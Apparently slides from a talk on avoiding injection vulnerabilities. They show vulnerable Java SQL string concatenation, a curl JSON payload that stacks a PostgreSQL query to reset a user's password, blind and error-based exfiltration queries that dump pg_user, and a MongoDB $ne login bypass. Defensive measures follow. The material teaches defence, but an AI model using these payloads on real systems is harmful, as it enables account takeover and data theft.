Avoiding injection vulnerabilities

Injection attacks refer to a broad class of attack vectors. In an injection attack, an attacker supplies untrusted input to a program. This input gets processed by an interpreter as part of a command or query. In turn, this alters the execution of that program.

schedule a call

The core idea behind injection vulnerabilities (SQLi, NoSQLi, OS cmd, etc.)

user input -> event -> function1 -> function2
   \                    ^      ^vuln^

sidenote: event sources

  • Storage events
  • DB events
  • Kinesis events
  • API calls
  • Message queues
  • Emails, push, SMS, etc

sidenote: file uploads

  • file names
  • processing files
  • storing files



      try {
        conn = DriverManager.getConnection(url + dbName, userName, password);
        System.out.println("Connected to the database");

        Statement st = conn.createStatement();
String query = "SELECT * FROM  User where userid='"
+ user + "'";

not simple:

  • hunting down every unparametrized request
  • making sure parametrization is correctly implemented
  • making sure it is not possible to modify the SQLR by tampering with JSON data
  • searching for second-order SQLi
  • making sure no functions that directly work with SQL are exposed to users

Postgres SQLi demo

  • stacked queries almost always used
  • all usual SQLi exfiltration channels available
  • pg_read_fileCOPY ... TO ..., and even RCE sometimes
  • quote filters can be bypassed with CHR or $

Simple live SQLi exploitation

Data flow

from curl to PostgreSQL

"{\"username\":\"rick'; update users set password=md5('password') where username = 'rick' --\", \"password\":\"foo\"}" # cURL payload 
{"username":"rick'; update users set password=md5('password') where username = 'rick' --", "password":"foo"} # decoded data
select * from users where username = 'rick'; update users set password=md5('password') where username = 'rick' -- ' limit 1 # database SQL

Vulnerable code example

... snip ...
@RequestMapping(value = "/login", method = RequestMethod.POST, produces = "application/json", consumes = "application/json")
  LoginResponse login(@RequestBody LoginRequest input) {
    User user = User.fetch(input.username);
... snip ...

public static User fetch(String un) {
    Statement stmt = null;
    User user = null;
    try {
      ... snip ...
      String query = "select * from users where username = '" + un + "' limit 1";
      ResultSet rs = stmt.executeQuery(query);
      ... snip ... 

Other exfiltration channels


select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1


' and substr(version(),1,10) = 'PostgreSQL' and '1
' and substr(version(),1,10) = 'PostgreXXX' and '1


,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT query_to_xml('select * from pg_user',true,true,'')) AS NUMERIC)='1')) THEN name ELSE note END)
ERROR:  invalid input syntax for type numeric: " <row xmlns:xsi="">
  <valuntil xsi:nil="true"/>
  <useconfig xsi:nil="true"/>
... snip ...


  • input validation
  • surprisingly, code scanning may help here
  • ORMs/connectors that do not allow you to perform direct requests
  • not using direct requests at all (i.e. debug) in exposed environments

sidenote: data flow/taint analysis

  • tracking untrusted user input
  • sources and sinks
  • reviewing everything it touches
json_req -> function1 -> function2 -> function3


similar mechanisms, different techniques

  • JSON-based (e.g. Mongo)
{"username": {"$ne": null}, "password": {"$ne": null}}
  • Input-based


  • request structure validation
  • user input validation
  • ORMs